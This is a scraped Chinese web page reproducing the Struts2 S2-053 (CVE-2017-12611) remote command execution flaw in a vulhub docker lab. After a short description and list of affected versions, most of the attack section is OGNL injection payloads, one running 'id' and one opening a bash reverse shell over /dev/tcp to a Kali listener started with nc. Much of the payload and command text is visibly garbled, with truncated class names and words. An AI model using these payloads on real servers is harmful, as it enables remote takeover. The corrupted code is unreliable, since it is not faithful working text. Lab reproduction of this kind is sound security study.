2023年12月9日发(作者:年终奖怎么发)
CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现
一:漏洞描述
Struts2在使用Freemarker模块引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但是由于被
Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
二:受影响的版本
Struts 2.0.1-struts 2.3.33
Struts 2.5-Struts 2.5.10
三:环境搭建(192.168.33.144)
1、使用docker搭建环境
cd vulhub/struts2/s2-053
2、一键搭建环境
docker-compo up -d
3、访问:192.168.33.144:8080/。
四:攻击
1、在Your url中写入POC
POC:
%{(#dm=@ntext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['mphony.x
ner']).(#ognlUtil=#tance(@il@class)).(#ludedPackageNa
mes().clear()).(#ludedClass().clear()).(#berAccess(#dm)))).(#cmd='id').(#iswin=(@@getProperty('
e').toLowerCa().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new sBuilder(#cmds)).(#ctErr
orStream(true)).(#process=#()).(@s@toString(#utStream()))}2、点击submit。4、反弹shell,把shell反弹到kali上(kali:192.168.33.146)nc -lvvp 1234填写POC%{(#dm=@ntext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['ner']).(#ognlUtil=#tance(@il@class)).(#ludedPackageNames().clear()).(#ludedClass().clear()).(#berAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.33.146/1234 0>&1').(#iswin=(@@getProperty('').toLowerCa().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new sBuilder(#cmds)).(#ctErrorStream(true)).(#process=#()).(@s@toString(#utStream()))}kali上成功反弹shell
本文发布于:2023-12-09 21:24:29,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/zhishi/a/1702128269116497.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现.doc
本文 PDF 下载地址:CVE-2017-12611(【S2-053】Struts2远程命令执行漏洞)漏洞复现.pdf
留言与评论(共有 0 条评论) |